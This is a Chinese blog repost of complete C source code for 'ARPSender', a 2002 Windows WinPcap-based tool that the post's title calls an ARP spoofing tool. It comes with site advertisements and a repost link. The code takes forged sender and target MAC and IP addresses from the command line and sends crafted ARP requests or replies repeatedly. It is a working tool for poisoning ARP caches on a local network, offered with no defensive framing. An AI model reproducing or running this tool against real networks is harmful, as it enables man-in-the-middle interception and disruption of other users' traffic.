Arp地址欺骗工具arpsend代码
文章转自王牌软件
站长推荐:NSetup一键部署软件
一键式完成美化安装包制作,自动增量升级,数据统计,数字签名。应对各种复杂场景,脚本模块化拆分,常规复杂的脚本代码,图形化设置。无需专业的研发经验,轻松完成项目部署。(www.nsetup.cn)
只回答业务咨询
站长推荐:NSetup一键部署软件
一键式完成美化安装包制作,自动增量升级,数据统计,数字签名。应对各种复杂场景,脚本模块化拆分,常规复杂的脚本代码,图形化设置。无需专业的研发经验,轻松完成项目部署。(www.nsetup.cn)
ARPSender.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 |
//////////////////////////////////////////////////////////////////////////////// // // ARPSender // // File : ARPSender.cpp // Comment : A program for sending ARP packet // // Created at : 2002.8.6 // Created by : Refdom // Email : [email]refdom@263.net[/email] // Home Page : [url]www.opengram.com[/url] // // If you modify the code, or add more functions, please email me a copy. // //////////////////////////////////////////////////////////////////////////////// #include "Mac.h" #include <stdio.h> #include <conio.h> #include <windows.h> #include <Packet32.h> #pragma comment (lib, "ws2_32.lib") #pragma comment (lib, "packet.lib") #define EPT_IP 0x0800 /* type: IP */ #define EPT_ARP 0x0806 /* type: ARP */ #define EPT_RARP 0x8035 /* type: RARP */ #define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */ #define ARP_REQUEST 0x0001 /* ARP request */ #define ARP_REPLY 0x0002 /* ARP reply */ #define Max_Num_Adapter 10 #pragma pack(push, 1) typedef struct ehhdr { unsigned char eh_dst[6]; /* destination ethernet addrress */ unsigned char eh_src[6]; /* source ethernet addresss */ unsigned short eh_type; /* ethernet pachet type */ }EHHDR, *PEHHDR; typedef struct arphdr { unsigned short arp_hrd; /* format of hardware address */ unsigned short arp_pro; /* format of protocol address */ unsigned char arp_hln; /* length of hardware address */ unsigned char arp_pln; /* length of protocol address */ unsigned short arp_op; /* ARP/RARP operation */ unsigned char arp_sha[6]; /* sender hardware address */ unsigned long arp_spa; /* sender protocol address */ unsigned char arp_tha[6]; /* target hardware address */ unsigned long arp_tpa; /* target protocol address */ }ARPHDR, *PARPHDR; typedef struct arpPacket { EHHDR ehhdr; ARPHDR arphdr; } ARPPACKET, *PARPPACKET; #pragma pack(pop) void Usage() { printf("******************************************\n"); printf("ARPSender\n"); printf("\t Written by Refdom\n"); printf("\t Email: [email]refdom@263.net[/email]\n"); printf("\n"); printf("Usage: ARPSender.exe sha spa tha tpa arp_op times\n"); printf("\nComment:\n"); printf("\tsha:the MAC address of packet sender, eg:AAAAAABBBBBB\n"); printf("\tspa:the IP address of packet sender, eg:192.168.1.1\n"); printf("\ttha:the MAC address of target\n"); printf("\ttpa:the IP address of target\n"); printf("\tarp_op: the operation of ARP, 1:request, 2:reply\n"); printf("\ttimes: the times of sending ARP packet.(int)\n"); printf("*******************************************\n"); } int main(int argc, char* argv[]) { static char AdapterList[Max_Num_Adapter][1024]; char szPacketBuf[600]; char MacAddr[6]; LPADAPTER lpAdapter; LPPACKET lpPacket; WCHAR AdapterName[2048]; WCHAR *temp,*temp1; ARPPACKET ARPPacket; ULONG AdapterLength = 1024; int AdapterNum = 0; int nRetCode, i; int nARPOP = 0; int nTimes = 0; int nAdapter = 0; Usage(); if (argc < 7) { return 0; } nARPOP = atoi(argv[5]); if (!(nARPOP == 1 || nARPOP == 2)) { printf("\nPlease enter the ARP op!\n"); } nTimes = atoi(argv[6]); if (nTimes <= 0) { nTimes = 1; } //Get The list of Adapter if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!\n"); return 0; } temp = AdapterName; temp1=AdapterName; i = 0; while ((*temp != '\0')||(*(temp-1) != '\0')) { if (*temp == '\0') { memcpy(AdapterList[i],temp1,(temp-temp1)*2); temp1=temp+1; i++; } temp++; } AdapterNum = i; for (i = 0; i < AdapterNum; i++) { wprintf(L"\n%d- %s\n", i+1, AdapterList[i]); } while((nAdapter <= 0) || (nAdapter > AdapterNum)) { printf("\nPlease choose your Adapter:"); scanf("%1d", &nAdapter); } printf("\n"); //Default open the 0 lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[nAdapter - 1]); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { nRetCode = GetLastError(); printf("Unable to open the driver, Error Code : %lx\n", nRetCode); return 0; } lpPacket = PacketAllocatePacket(); if(lpPacket == NULL) { printf("\nError:failed to allocate the LPPACKET structure."); return 0; } ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); if (!GetMacAddr(argv[3], MacAddr)) { printf ("Get Mac address error!\n"); return 0; } memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); if (!GetMacAddr(argv[1], MacAddr)) { printf ("Get Mac address error!\n"); return 0; } memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); ARPPacket.ehhdr.eh_type = htons(EPT_ARP); ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); ARPPacket.arphdr.arp_pro = htons(EPT_IP); ARPPacket.arphdr.arp_hln = 6; ARPPacket.arphdr.arp_pln = 4; ARPPacket.arphdr.arp_op = htons(nARPOP); if (!GetMacAddr(argv[1], MacAddr)) { printf ("Get Mac address error!\n"); return 0; } memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); ARPPacket.arphdr.arp_spa = inet_addr(argv[2]); if (!GetMacAddr(argv[3], MacAddr)) { printf ("Get Mac address error!\n"); return 0; } memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); ARPPacket.arphdr.arp_tpa = inet_addr(argv[4]); memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket)); PacketInitPacket(lpPacket, szPacketBuf, 60); if(PacketSetNumWrites(lpAdapter, 1)==FALSE) { printf("warning: Unable to send more than one packet in a single write!\n"); } for (i = 1; i <= nTimes; i++) { Sleep(10); if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE) { printf("Error sending the packets!\n"); return 0; } printf("."); } printf("\n"); printf ("\nSend ok!\n"); // close the adapter and exit PacketFreePacket(lpPacket); PacketCloseAdapter(lpAdapter); return 0; } |
Mac.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
#include "stdafx.h" #include "Mac.h" #include <windows.h> //#include "stdlib.h" USHORT CT[256]={ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0A, 0x0B,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F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, }; int StringToInt(char* String) { int nRetCode; nRetCode = CT[*String]; nRetCode = (nRetCode * 16) + CT[*(String + 1)]; return nRetCode; } bool GetMacAddr(char* szMacAddr_String, char* MacAddr) { int i; char szTemp[2]; for (i = 0; i < 6; i++) { //szTemp = {0}; szTemp[0] = *(szMacAddr_String + (2 * i)); szTemp[1] = *(szMacAddr_String + (2 * i) + 1); *(MacAddr + i) = StringToInt(szTemp); if (*(MacAddr + i) > 0xFF) return false; } return true; } |
Mac.h
1 2 3 4 5 6 7 8 9 |
#ifndef _MAC_H_ #define _MAC_H_ //#include <windows.h> int StringToInt(char* String); bool GetMacAddr(char* szMacAddr_String, char* MacAddr); #endif |
学习日记,兼职软件设计,软件修改,毕业设计。
本文出自 学习日记,转载时请注明出处及相应链接。
本文永久链接: https://www.softwareace.cn/?p=625